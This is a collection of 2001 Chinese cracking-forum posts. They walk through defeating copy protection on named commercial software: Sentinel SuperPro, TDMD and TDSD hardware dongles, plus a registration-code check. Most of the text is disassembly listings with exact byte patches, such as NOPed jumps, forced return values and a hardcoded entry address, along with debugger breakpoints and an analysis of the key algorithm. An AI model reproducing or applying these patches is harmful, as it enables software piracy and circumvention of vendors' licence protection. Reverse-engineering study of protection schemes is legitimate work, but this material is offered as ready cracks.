:005830D9 A11C896100 mov eax, dword ptr [0061891C]

跟踪，分析可知583000D0处的XOR指令NOP掉后，[0061891C]处的值就永远为0。从而显示没有
标记的图片。

（3） License的苦恼
图片是改过来了，可是，“License to:”后面的Trial User却怎么也改不过来。

程序调用Brand032.dll读取Brand.brd文件里面的内容，从而得到用户名和注册号。其中的运算
过程实在是复杂过头，我看不懂。

你也可以修改Brand.brd文件，从而让程序启动时跳出一个输入框让你输入名字，公司，注册号。
可是这里面的运算（调用cereal.dll）也同样复杂难懂。好像和MacroMedia公司其它产品的算法
不太一样。

License……未完待续…………

----------========结尾=======----------
非常希望哪位朋友能够告诉我它License的算法，我自己分析了很久，一直找不到要点。

pLEASE eMAIL tO:luoyi.ly@yeah.net

Thanks To All!Good Luck!


Sentinel Super Pro

 标 题:方正飞腾3.1加密狗破解过程-----浅谈Sentinel Super Pro的加密算法 (14千字)
发信人:crackjack
时 间:2001-10-14 16:15:45
详细信息:
Sentinel superpro是加密强度很高的产品，如果用得好，在没有狗的的情况解它几乎是没有可能，这次解它是带狗来破它的（

真的狗小弟买不起，只好用人家的模拟狗，用模拟狗来破小弟是头一回，呵呵），小弟旨在通过本文，让各位朋友了解SUPERPRO

的加密算法和在带狗的情况下破解软件。

工具：
Trw2000
Hview
IDA（w32dasm在反汇编大文件时会死掉，不知哪位朋友有什么好的方法解决）

好，我们用最常见的方法中断程式：bpio 378，中断后返回到主程序，而且我们知道狗驱动是sx32w.dll:

.text:00951A32 push offset unk_B99568
.text:00951A37 call RNBOsproFormatPacket <=====初始化狗数据
.text:00951A3C movzx eax, ax
.text:00951A3F test eax, eax
.text:00951A41 jz short loc_951A49
.text:00951A43 xor eax, eax
.text:00951A45 add esp, 4
.text:00951A48 retn
.text:00951A49 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951A49
.text:00951A49 loc_951A49: ; CODE XREF: sub_951A10+31j
.text:00951A49 push offset unk_B99568
.text:00951A4E call RNBOsproInitialize <=====初始化函数
.text:00951A53 movzx eax, ax <=====返回到这里
.text:00951A56 test eax, eax
.text:00951A58 jz short loc_951A60
.text:00951A5A xor eax, eax
.text:00951A5C add esp, 4
.text:00951A5F retn
.text:00951A60 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951A60
.text:00951A60 loc_951A60: ; CODE XREF: sub_951A10+48j
.text:00951A60 push 0A9ACh
.text:00951A65 push offset unk_B99568
.text:00951A6A call RNBOsproFindFirstUnit <=====查找狗,如果有则返回0
.text:00951A6F movzx eax, ax <=====这里可以改为xor eax,eax nop
.text:00951A72 test eax, eax
.text:00951A74 jz short loc_951A7C
.text:00951A76 xor eax, eax
.text:00951A78 add esp, 4
.text:00951A7B retn
.text:00951A7C ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951A7C
.text:00951A7C loc_951A7C: ; CODE XREF: sub_951A10+64j
.text:00951A7C ; sub_951A10+95j
.text:00951A7C push offset unk_B99568
.text:00951A81 call sub_951AC0 <=====F8进入---------------------1
.text:00951A86 add esp, 4
.text:00951A89 test eax, eax
.text:00951A8B jz short loc_951A96
.text:00951A8D call sub_951B20 <=====F8进入---------------------2
.text:00951A92 test eax, eax
.text:00951A94 jnz short loc_951AAD

进入1处的CALL:

.text:00951AC0 mov eax, [esp+arg_0]
.text:00951AC4 push eax
.text:00951AC5 call sub_951AE0 <=====F8进入
.text:00951ACA add esp, 4
.text:00951ACD sub eax, 4
.text:00951AD0 cmp eax, 1
.text:00951AD3 sbb eax, eax
.text:00951AD5 neg eax
.text:00951AD7 retn
.text:00951AD7 sub_951AC0 endp
.text:00951AD7
.text:00951AD7 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951AD8

align 10h
.text:00951AE0
.text:00951AE0 ; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
.text:00951AE0
.text:00951AE0
.text:00951AE0 sub_951AE0 proc near ; CODE XREF: sub_951AC0+5p
.text:00951AE0
.text:00951AE0 var_E = dword ptr -0Eh
.text:00951AE0 var_2 = byte ptr -2
.text:00951AE0 arg_0 = dword ptr 4
.text:00951AE0
.text:00951AE0 mov eax, [esp+arg_0]
.text:00951AE4 sub esp, 4
.text:00951AE7 test eax, eax
.text:00951AE9 jnz short loc_951AF1
.text:00951AEB xor eax, eax
.text:00951AED add esp, 4
.text:00951AF0 retn
.text:00951AF1 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951AF1
.text:00951AF1 loc_951AF1: ; CODE XREF: sub_951AE0+9j
.text:00951AF1 lea ecx, [esp+4+var_2]
.text:00951AF5 push ecx
.text:00951AF6 push 8
.text:00951AF8 push eax
.text:00951AF9 call RNBOsproRead <=====读狗,如果正确,ax=0,[151FC3A]=4
.text:00951AFE movzx eax, ax <=====改为PUSH 0 POP EAX
.text:00951B01 test eax, eax
.text:00951B03 jz short loc_951B0B
.text:00951B05 xor eax, eax
.text:00951B07 add esp, 4
.text:00951B0A retn
.text:00951B0B ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951B0B
.text:00951B0B loc_951B0B: ; CODE XREF: sub_951AE0+23j
.text:00951B0B mov eax, [esp+10h+var_E]
.text:00951B0F add esp, 4
.text:00951B12 and eax, 0FFFFh <=====改mov eax,4
.text:00951B17 retn

进入2处的CALL:

.text:00951B2C push esi
.text:00951B2D push edi
.text:00951B2E push 10h
.text:00951B30 push eax
.text:00951B31 push ecx
.text:00951B32 push offset unk_B84C90
.text:00951B37 push 10h
.text:00951B39 push offset unk_B99568
.text:00951B3E call RNBOsproQuery <=====查询加密狗中的数据,如果成功则AX返回0
.text:00951B43 movzx ecx, ax <=====改push 0 pop eax
.text:00951B46 test ecx, ecx
.text:00951B48 jz short loc_951B53
.text:00951B4A xor eax, eax
.text:00951B4C pop edi
.text:00951B4D pop esi
.text:00951B4E pop ebx
.text:00951B4F add esp, 14h
.text:00951B52 retn
.text:00951B53 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951B53
.text:00951B53 loc_951B53: ; CODE XREF: sub_951B20+28j
.text:00951B53 xor eax, eax
.text:00951B55
.text:00951B55 loc_951B55: ; CODE XREF: sub_951B20+47j
.text:00951B55 mov ecx, dword ptr unk_B84CA0[eax]
.text:00951B5B cmp [esp+eax+38h+var_28], ecx <=====比较查询结果
.text:00951B5F jnz short loc_951BD4 <=====不相等就跳,改为NOP NOP
.text:00951B61 add eax, 4
.text:00951B64 cmp eax, 10h
.text:00951B67 jl short loc_951B55
.text:00951B69 xor esi, esi
.text:00951B6B call _rand
.text:00951B70 mov edi, eax
.text:00951B72 xor ebx, ebx
.text:00951B74
.text:00951B74 loc_951B74: ; CODE XREF: sub_951B20+76j
.text:00951B74 lea eax, [edi+esi]
.text:00951B77 inc esi
.text:00951B78 cdq
.text:00951B79 xor eax, edx
.text:00951B7B sub eax, edx
.text:00951B7D and eax, 0Fh
.text:00951B80 xor eax, edx
.text:00951B82 sub eax, edx
.text:00951B84 shl eax, 2
.text:00951B87 mov dword_B84CB0[eax], ebx
.text:00951B8D call ds:off_B07B28[eax]
.text:00951B93 cmp esi, 10h
.text:00951B96 jl short loc_951B74
.text:00951B98 mov eax, dword_B84CF0
.text:00951B9D push eax
.text:00951B9E push 10h
.text:00951BA0 push offset unk_B99568
.text:00951BA5 call sub_951120 <=====F8进入
.text:00951BAA mov [esp+44h+var_2C], eax
.text:00951BAE add esp, 0Ch
.text:00951BB1 mov eax, dword_B84CF4
.text:00951BB6 xor [esp+38h+var_2C], eax
.text:00951BBA mov eax, [esp+38h+var_2C]
.text:00951BBE and eax, 0Fh
.text:00951BC1 cmp dword_B84CB0[eax*4], 0 <=====比较标志
.text:00951BC9 jnz short loc_951BDD <=====不相等就跳,改为JMPS short loc_951BDD
.text:00951BCB xor eax, eax
.text:00951BCD pop edi
.text:00951BCE pop esi
.text:00951BCF pop ebx
.text:00951BD0 add esp, 14h
.text:00951BD3 retn

进入951BA5的CALL:

.text:00951120 mov ecx, [esp+arg_0]
.text:00951124 sub esp, 8
.text:00951127 test ecx, ecx
.text:00951129 jnz short loc_951133
.text:0095112B mov eax, [esp+8+arg_8]
.text:0095112F add esp, 8
.text:00951132 retn
.text:00951133 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00951133
.text:00951133 loc_951133: ; CODE XREF: sub_951120+9j
.text:00951133 lea eax, [esp+8+var_4]
.text:00951137 push 4
.text:00951139 lea edx, [esp+0Ch+var_8]
.text:0095113D push eax
.text:0095113E lea eax, [esp+10h+arg_8]
.text:00951142 push edx
.text:00951143 mov edx, [esp+14h+arg_4]
.text:00951147 push eax
.text:00951148 push edx
.text:00951149 push ecx
.text:0095114A call RNBOsproQuery <=====查询加密狗中的数据,如果成功则AX返回0
.text:0095114F movzx ecx, ax <=====改push 0 pop eax
.text:00951152 test ecx, ecx
.text:00951154 jz short loc_95115E
.text:00951156 mov eax, [esp+20h+var_C]
.text:0095115A add esp, 8
.text:0095115D retn
.text:0095115E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0095115E
.text:0095115E loc_95115E: ; CODE XREF: sub_951120+34j
.text:0095115E mov eax, [esp+20h+var_20]
.text:00951162 add esp, 8
.text:00951165 retn

下面的部份是关键的部份:

.text:00951BDD loc_951BDD: ; CODE XREF: sub_951B20+A9j
.text:00951BDD mov eax, dword_B84CF8
.text:00951BE2 push eax
.text:00951BE3 push 10h
.text:00951BE5 push offset unk_B99568
.text:00951BEA call sub_951120
.text:00951BEF mov [esp+44h+var_2C], eax
.text:00951BF3 add esp, 0Ch
.text:00951BF6 mov eax, dword_B84CFC
.text:00951BFB xor [esp+38h+var_2C], eax
.text:00951BFF mov eax, dword_B84D00
.text:00951C04 mov esi, [esp+38h+var_2C]
.text:00951C08 push eax
.text:00951C09 add esi, dword_B9996C <=====改为mov esi,00951940 NOP
.text:00951C0F push 12h
.text:00951C11 push offset unk_B99568
.text:00951C16 call sub_951120
.text:00951C1B mov [esp+44h+var_2C], eax
.text:00951C1F add esp, 0Ch
.text:00951C22 mov eax, dword_B84D04
.text:00951C27 xor [esp+38h+var_2C], eax
.text:00951C2B mov ecx, [esp+38h+var_2C]
.text:00951C2F push ecx
.text:00951C30 call esi <=====这个地方就是主程序的入口,通过分析,如果没有狗,这个地址是

错误的,程序会死掉,也就是说,程序必须用到加密狗的数据来算出入口地址,所以如果没有狗,就没办法知道入口地址,除非你的反

推能力很好,就可以反推出它的入口地址.通过带狗运行,可知入口地址是00951940.所以我们要让ESI的数值为00951940
.text:00951C32 add esp, 4
.text:00951C35 pop edi
.text:00951C36 pop esi
.text:00951C37 pop ebx
.text:00951C38 add esp, 14h
.text:00951C3B retn

单步进入00951C30处的CALL:

.text:009519BB mov ecx, dword_B8EAD8
.text:009519C1 shr ecx, 10h
.text:009519C4 push eax
.text:009519C5 or edx, ecx
.text:009519C7 lea ecx, ds:0[esi*2]
.text:009519CE inc ecx <=====改为mov esi,0E4DBF5F6
.text:009519CF imul edx, ecx <=====
.text:009519D2 add esi, edx <=====
.text:009519D4 cmp esi, 0E4DBF5F6h
.text:009519DA jnz short loc_9519E8
.text:009519DC call sub_4493B0 <=====F8进入
.text:009519E1 add esp, 4
.text:009519E4 pop edi
.text:009519E5 pop esi
.text:009519E6 pop ebx
.text:009519E7 retn

单步进入009519DC处的CALL:

.text:004493B0 push ebp
.text:004493B1 mov ebp, esp
.text:004493B3 push ecx
.text:004493B4 mov eax, [ebp+arg_0]
.text:004493B7 cmp eax, dword_B8EAE0
.text:004493BD jz short loc_4493C3 <=====改为JMPS 004493C3
.text:004493BF xor eax, eax
.text:004493C1 jmp short loc_4493DD

至此全部的修改已完成,主程序可以在没有真狗和假狗的条件下运行了,但通过我测试,只能在windows98下运行,在win2000下不能

运行,小弟没有winice405 for NT版本,没办法破解出win2000的程序了.

通过这次破解,让我们清楚不是所有的狗都可以在无狗的情况下破掉,如果程序用狗里面的数据来运算的话,没有狗是没有办法破

解它的.

如果有什么错误的地方,欢迎各位大虾指正.

写完这一篇之后,小弟要休息一段时间了,希望下次的文章是解HASP的加密狗,那要看小弟的学习进度如何了.


weavemacker V7.55

 标 题:帮crackjack大哥转贴的一篇打狗文章,由于昨天晚上论坛进不来!呵呵 (9千字)
发信人:小黑[BCG][CNCG]
时 间:2001-11-12 11:16:41
详细信息:
weavemacker V7.55破解
作者:crackjack　来源:http://tools.85560046.com/cgi-bin/wzgl/show.cgi?type=CNCG&id=20011112021153　日期:2001-11-12

这个软件是用圣天诺狗来加密的，当软件没有检测到加密狗时，则需要注册它。好，我们看看怎么样来破解它。

工具：trw2000
hview

软件在运行时，如果没有狗，则会跳出一个需要注册的对话框，而且也是用动态注册的方法，如果注册码不正确register按钮是灰色的。这类软件一般用断点bpx hmemcpy，今天我们用另外的断点来破它，用什么断点呢？想一下要取得对话框的数据要用到什么函数，对了，是getdlgitemtexta。好，我们先输入用户名，然后输入假注册码12345678，切换到TRW，下断点bpx getdlgitemtexta，按F5返回程序，马上被中断了，按F10返回到主程序，如下：

:004C6798 8D852C010000 lea eax, dword ptr [ebp+0000012C] <===返回到这里,用d eax可以看到我们输入的假注册码
:004C679E 50 push eax
:004C679F 6A06 push 00000006
:004C67A1 E8BAFFFEFF call 004B6760
:004C67A6 83C410 add esp, 00000010
:004C67A9 E99E000000 jmp 004C684C
------------------------------------------------
按几下F10,到下面:

:004C684C 55 push ebp
:004C684D E84E010000 call 004C69A0 <====计算和比较注册码的CALL,所以要F8进入
:004C6852 83C404 add esp, 00000004
:004C6855 85C0 test eax, eax
:004C6857 7427 je 004C6880
:004C6859 8B8DEC020000 mov ecx, dword ptr [ebp+000002EC]
:004C685F 51 push ecx
:004C6860 E86B000000 call 004C68D0
:004C6865 6A00 push 00000000
:004C6867 6A07 push 00000007
:004C6869 E8C205FFFF call 004B6E30
:004C686E 83C40C add esp, 0000000C
:004C6871 B801000000 mov eax, 00000001
:004C6876 5F pop edi
:004C6877 5E pop esi
:004C6878 5D pop ebp
:004C6879 81C498000000 add esp, 00000098
:004C687F C3 ret
---------------------------------------------------
进入4C684D的CALL:

:004C69A0 81EC18020000 sub esp, 00000218
:004C69A6 53 push ebx
:004C69A7 55 push ebp
:004C69A8 8BAC2424020000 mov ebp, dword ptr [esp+00000224]
:004C69AF 56 push esi
:004C69B0 57 push edi

* Possible StringData Ref from Data Obj ->"Demo"
|
:004C69B1 BFD0115300 mov edi, 005311D0 <====取试用的注册码,这个注册码可以用到2001-12-31日,这不是我们所要的,继续GO
:004C69B6 8DB52C010000 lea esi, dword ptr [ebp+0000012C] <====用d esi可以看到我们输入的假注册码
:004C69BC 8BC6 mov eax, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C69E0(C)
|
:004C69BE 8A10 mov dl, byte ptr [eax]
:004C69C0 8A1F mov bl, byte ptr [edi]
:004C69C2 8ACA mov cl, dl
:004C69C4 3AD3 cmp dl, bl <=====比较注册码
:004C69C6 751E jne 004C69E6 <=====不相等则跳到正式用户注册码运算的代码
:004C69C8 84C9 test cl, cl
:004C69CA 7416 je 004C69E2
:004C69CC 8A5001 mov dl, byte ptr [eax+01]
------------------------------------------------
* Possible StringData Ref from Data Obj ->"Never"
|
:004C6A82 BF10135300 mov edi, 00531310 <====取字符串Never
:004C6A87 83C9FF or ecx, FFFFFFFF
:004C6A8A 8985EC020000 mov dword ptr [ebp+000002EC], eax
:004C6A90 C744241800000000 mov [esp+18], 00000000
:004C6A98 F2 repnz
:004C6A99 AE scasb
:004C6A9A F7D1 not ecx
:004C6A9C 2BF9 sub edi, ecx
:004C6A9E 8BC1 mov eax, ecx
:004C6AA0 8BF7 mov esi, edi
:004C6AA2 8BFA mov edi, edx
:004C6AA4 C1E902 shr ecx, 02
:004C6AA7 F3 repz
:004C6AA8 A5 movsd
:004C6AA9 8BC8 mov ecx, eax
:004C6AAB 83E103 and ecx, 00000003
:004C6AAE F3 repz
:004C6AAF A4 movsb

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C6A6B(U)
|
:004C6AB0 8D4C241C lea ecx, dword ptr [esp+1C]
:004C6AB4 51 push ecx
:004C6AB5 53 push ebx
:004C6AB6 E855090000 call 004C7410
:004C6ABB 8D5528 lea edx, dword ptr [ebp+28] <====取字符串22
:004C6ABE 8DB544020000 lea esi, dword ptr [ebp+00000244]
:004C6AC4 52 push edx
:004C6AC5 8D8594020000 lea eax, dword ptr [ebp+00000294] <====取用户名
:004C6ACB 56 push esi
:004C6ACC 8D4D3C lea ecx, dword ptr [ebp+3C]
:004C6ACF 50 push eax
:004C6AD0 8D9424AC000000 lea edx, dword ptr [esp+000000AC]
:004C6AD7 51 push ecx
:004C6AD8 52 push edx
:004C6AD9 E862050000 call 004C7040 <====连接成运算码,比如输入的用户名为crackjack,则连接成22crackjack(0DH)Never(0DH)22
---------------------------------------------
一直走,走到:
:004C6B22 8D442434 lea eax, dword ptr [esp+34]
:004C6B26 56 push esi
:004C6B27 8D8C24AC000000 lea ecx, dword ptr [esp+000000AC]
:004C6B2E 50 push eax
:004C6B2F 51 push ecx
:004C6B30 E88B060000 call 004C71C0 <=====运算注册码的CALLL,F8进入
:004C6B35 8B44242C mov eax, dword ptr [esp+2C] <=====取运算出来的注册码
:004C6B39 8B4C2438 mov ecx, dword ptr [esp+38] <=====取我们输入的注册码,我们可以在这里暴破它,改为mov ecx, dword ptr [esp+2C]
:004C6B3D 83C41C add esp, 0000001C
:004C6B40 3BC8 cmp ecx, eax <=====比较注册码
:004C6B42 8985F0020000 mov dword ptr [ebp+000002F0], eax
:004C6B48 898DF4020000 mov dword ptr [ebp+000002F4], ecx
:004C6B4E 7510 jne 004C6B60
:004C6B50 5F pop edi
:004C6B51 5E pop esi
:004C6B52 5D pop ebp
:004C6B53 B801000000 mov eax, 00000001
:004C6B58 5B pop ebx
:004C6B59 81C418020000 add esp, 00000218
:004C6B5F C3 ret
-----------------------------------------------
:004C7260 6A00 push 00000000
:004C7262 C1E00D shl eax, 0D
:004C7265 0BC6 or eax, esi
:004C7267 8B74242C mov esi, dword ptr [esp+2C]
:004C726B 55 push ebp
:004C726C 68F4535300 push 005353F4
:004C7271 8906 mov dword ptr [esi], eax
:004C7273 8B442424 mov eax, dword ptr [esp+24]
:004C7277 50 push eax
:004C7278 E813FFFFFF call 004C7190 <====F8进入
:004C727D 8B5C2440 mov ebx, dword ptr [esp+40]
:004C7281 83C410 add esp, 00000010
:004C7284 85DB test ebx, ebx
----------------------------------------------------
:004C719C F2 repnz
:004C719D AE scasb
:004C719E F7D1 not ecx
:004C71A0 49 dec ecx
:004C71A1 51 push ecx
:004C71A2 52 push edx
:004C71A3 E8584A0000 call 004CBC00 <=====F8进入
:004C71A8 8B4C2418 mov ecx, dword ptr [esp+18]
:004C71AC 83C408 add esp, 00000008
:004C71AF 8901 mov dword ptr [ecx], eax
:004C71B1 5F pop edi
-------------------------------------------------------
下面就是运算注册码的代码,这个软件的运算有点特别,它用程序本身的代码数据(相当于密码表)来算出注册码,只要改一下所用到的数据,就让破解者的注册机无效了
:004CBC00 56 push esi
:004CBC01 8B74240C mov esi, dword ptr [esp+0C]
:004CBC05 83C8FF or eax, FFFFFFFF <====EAX的初始值为0FFFFFFFF
:004CBC08 85F6 test esi, esi
:004CBC0A 7E24 jle 004CBC30
:004CBC0C 8B4C2408 mov ecx, dword ptr [esp+08]
:004CBC10 57 push edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CBC2D(C)
|
:004CBC11 33D2 xor edx, edx <=====清0
:004CBC13 8BF8 mov edi, eax <=====EDI=EAX
:004CBC15 8A11 mov dl, byte ptr [ecx] <=====取第N个字符
:004CBC17 81E7FF000000 and edi, 000000FF <=====取EDI的最低位
:004CBC1D 33D7 xor edx, edi <=====EDX xor EDI
:004CBC1F C1E808 shr eax, 08 <=====结果右移8位
:004CBC22 8B1495D4145300 mov edx, dword ptr [4*edx+005314D4] <====取程序中地址为EDX*4+5314d4的代码数据,我们知道,字符的最大数是FF,则密码表的长度为4*FF+5314d4=5318d0,我们用Hview打开主文件,可知它的地址为1314d4--1318d0,这个地址范围的数值就做为运算注册码的密码
:004CBC29 33C2 xor eax, edx <====EAX xor EDX,结果作为下一个字符的运算参数
:004CBC2B 41 inc ecx
:004CBC2C 4E dec esi
:004CBC2D 75E2 jne 004CBC11 <====运算完了吗,没有则继续运算
:004CBC2F 5F pop edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CBC0A(C)
|
:004CBC30 F7D0 not eax <=====将结果取非,最后的结果就是注册码的十六进制,比如EAX=29C8BF83,则注册码为701022083
:004CBC32 5E pop esi
:004CBC33 C3 ret

由于密码表的数据比较多,我就不编写他的注册机了,只是用暴破的方法来处理它,哪位朋友有兴趣可以编出它的注册机吧,让大家来学习一下嘛.


彩虹狗

 标 题:解彩虹狗的注意事项 (217字)
发信人:nojmp
时 间:2001-10-14 18:51:13
详细信息:
如果软件在安装的时候不需要狗，而是运行的时候需要，并且
用 bpx 378 无法拦截，那么需要删掉system 目录下面的sentinel.vxd
这个虚拟设备驱动程序，这样一来，sx32w.dll会使用自己带的端口读写模块，那么，bpx 378 等就可以使用。


金天地的TDMD

 标 题:TDMD软件狗破解方法（带狗杀狗） (6千字)
发信人:gxb
时 间:2001-10-25 11:59:28
详细信息:
TDMD软件狗破解方法（带狗杀狗）

工具：TRW2000
Hview

这次杀狗还是用带狗杀狗方法，破解狗的常用断点：bpio 378，bpx deviceiocontrol,bpx environmentstringa(听说对HASP狗有效，我没有试过），今天我们用bpx deviceiocontrol这个断点来破它。

一般TDMD狗的调用形式是:

:0057C054 53 push ebx
:0057C055 56 push esi
:0057C056 57 push edi
:0057C057 56 push esi
:0057C058 57 push edi
:0057C059 52 push edx
:0057C05A 51 push ecx
:0057C05B 53 push ebx
:0057C05C 50 push eax
:0057C05D E82C020000 call 0057C28E <=====判断狗的CALL
:0057C062 85C0 test eax, eax <=====有狗就返回0
:0057C064 7405 je 0057C06B <=====有狗就跳到正常的程序,否则就退出程序
:0057C066 E989000000 jmp 0057C0F4

好了，下断点后程序会被中断在狗驱动中，从TRW2000中我们知道这个狗是金天地的TDMD，中断后我们用F10和F12返回到主程序中，如下：

:0057C7B0 50 push eax
:0057C7B1 FF15AC815D00 call dword ptr [005D81AC] <====第一次读狗,在TRW2000中应该是call KERNEL32!Deviceiocontrol,这个CALL是判断端口上有没有活动的打印机和加密狗
:0057C7B7 8945F8 mov dword ptr [ebp-08], eax <=====返回到这里
:0057C7BA 837DF800 cmp dword ptr [ebp-08], 00000000
:0057C7BE 7421 je 0057C7E1 <=====不跳
:0057C7C0 83BD20FFFFFF00 cmp dword ptr [ebp+FFFFFF20], 00000000
:0057C7C7 7416 je 0057C7DF <=====不跳
:0057C7C9 81BD20FFFFFF00300000 cmp dword ptr [ebp+FFFFFF20], 00003000
:0057C7D3 740A je 0057C7DF <======不跳
:0057C7D5 818520FFFFFF00005000 add dword ptr [ebp+FFFFFF20], 00500000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0057C7C7(C), :0057C7D3(C)
|
:0057C7DF EB0A jmp 0057C7EB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C7BE(C)
|
:0057C7E1 C78520FFFFFF00005200 mov dword ptr [ebp+FFFFFF20], 00520000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C7DF(U)
|
:0057C7EB EB01 jmp 0057C7EE
:0057C7ED E8 BYTE E8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C7EB(U)
|
:0057C7EE 83BD20FFFFFF00 cmp dword ptr [ebp+FFFFFF20], 00000000 <====第一次判断狗
:0057C7F5 7427 je 0057C81E <====没有狗就不跳,所以我们这里要把它改为Jmps 0057C81E
:0057C7F7 EB01 jmp 0057C7FA
:0057C7F9 E8 BYTE E8

看一下0057C81E的代码:

:0057C81E 8B8530FEFFFF mov eax, dword ptr [ebp+FFFFFE30]
:0057C824 A3A0705D00 mov dword ptr [005D70A0], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C77F(C)
|
:0057C829 EB01 jmp 0057C82C
:0057C82B E8 BYTE E8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C829(U)
|
:0057C82C E8C8F8FFFF call 0057C0F9 <=====计算密码的CALL
:0057C831 0FB7D8 movzx ebx, ax
:0057C834 C1E310 shl ebx, 10
:0057C837 E8BDF8FFFF call 0057C0F9 <=====计算密码的CALL
:0057C83C 0FB7C0 movzx eax, ax
:0057C83F 0BD8 or ebx, eax
:0057C841 899D38FEFFFF mov dword ptr [ebp+FFFFFE38], ebx
:0057C847 EB01 jmp 0057C84A
:0057C849 E8 BYTE E8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0057C847(U)
|
:0057C84A A168705D00 mov eax, dword ptr [005D7068]
:0057C84F 50 push eax
:0057C850 E883FAFFFF call 0057C2D8
:0057C855 83C404 add esp, 00000004
:0057C858 898540FEFFFF mov dword ptr [ebp+FFFFFE40], eax
:0057C85E EB01 jmp 0057C861

然后就是按F10一直向下走了,直到出现第二个CALL KERNEL32!Deviceiocontrol时:

:0057C8E1 50 push eax
:0057C8E2 FF15AC815D00 call dword ptr [005D81AC] <=====第二次读狗(Call KERNEL32!Deviceiocontrol)
:0057C8E8 8945F8 mov dword ptr [ebp-08], eax
:0057C8EB 8B45FC mov eax, dword ptr [ebp-04]
:0057C8EE 50 push eax
:0057C8EF FF1558815D00 call dword ptr [005D8158]
:0057C8F5 8B8528FEFFFF mov eax, dword ptr [ebp+FFFFFE28]
:0057C8FB 50 push eax
:0057C8FC E85DFBFFFF call 0057C45E
:0057C901 83C404 add esp, 00000004
:0057C904 837DF800 cmp dword ptr [ebp-08], 00000000
:0057C908 7434 je 0057C93E
:0057C90A 83BD20FFFFFF00 cmp dword ptr [ebp+FFFFFF20], 00000000 <=====第二次判断狗,如果没有狗,这里的内存地址[81FD08]是一个非0的数,同时这个内存地址也是加密狗的重要内存地址,所以我们要把这个地址的内容改为0,我的改法是:and dword prt [ebp+ffffff20],00000000,刚好是一样的代码长度
:0057C911 7513 jne 0057C926
:0057C913 8B8524FFFFFF mov eax, dword ptr [ebp+FFFFFF24] <====取从狗中读出的数据
:0057C919 338538FEFFFF xor eax, dword ptr [ebp+FFFFFE38] <====与另外的一个数据异或,将结果赋给EAX
:0057C91F A3D8705D00 mov dword ptr [005D70D8], eax <=====将结果赋给内存地址[005D70D8],我们先带狗运行程序,可知运行到这里的时候,EAX的值是5CCAB580,所以我们必须把这个内存地址的内容赋为5CCAB580
:0057C924 EB16 jmp 0057C93C

我的改法是:

:0057C90A 83A520FFFFFF00 and dword ptr [ebp+FFFFFF20], 00000000
:0057C911 7513 jne 0057C926
:0057C913 8B8524FFFFFF mov eax, dword ptr [ebp+FFFFFF24]
:0057C919 B880B5CA5C mov eax, 5CCAB580 <=====将EAX赋予5CCAB580
:0057C91E 90 nop
:0057C91F A3D8705D00 mov dword ptr [005D70D8], eax <======将5CCAB580赋给内存地址[005D70D8]
:0057C924 EB16 jmp 0057C93C

至此,TDMD狗就被我们破掉了


金天地的TDSD狗

 标 题:很久没有打狗了，最近又被XXX的crackme搞得头昏，找个TDSD的狗出出气 (9千字)
发信人:crackjack[CCG]
时 间:2001-12-10 13:52:37
详细信息:
应一个朋友的要求，本文不便公开软件的名称，本文旨在技术上的交流，所以知不知道软件名称并不重要。

好，今天我们带狗破解金天地的TDSD狗。

工具：TRW2000，HVIEW，W32DASM，FILEMON

这个程序是VB程序，程序没有狗时，会出现没有狗的提示，好，我们用最常用的破狗断点：bpx deviceiocontrol，中断后会在win32DLL.DLL中，所以这个文件就是读狗的DLL，我们用filwmon还可以知道程序要读TDSD.VXD这个文件，所以这个狗是金天地的狗。然后一直按F10，返回到主程序，如下：

* Possible StringData Ref from Code Obj ->"BBBBBBBBBBB" <=====查狗的查询串，用来算出返回的种子
|
:00436947 BAE8A44000 mov edx, 0040A4E8
:0043694C 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM60.__vbaStrCopy, Ord:0000h
|
:0043694F FF15D0114000 Call dword ptr [004011D0]
:00436955 8B45DC mov eax, dword ptr [ebp-24]
:00436958 50 push eax
:00436959 8D4DCC lea ecx, dword ptr [ebp-34]
:0043695C 51 push ecx

* Reference To: MSVBVM60.__vbaStrToAnsi, Ord:0000h
|
:0043695D FF150C124000 Call dword ptr [0040120C]
:00436963 50 push eax
:00436964 57 push edi
:00436965 6A0A push 0000000A
:00436967 E8680DFDFF call 004076D4 <=====读狗的CALL
:0043696C 8BF0 mov esi, eax <=====返回到这里，将EAX赋给ESI，如果没有狗，EAX是一个非零的数，有狗时，EAX为零。

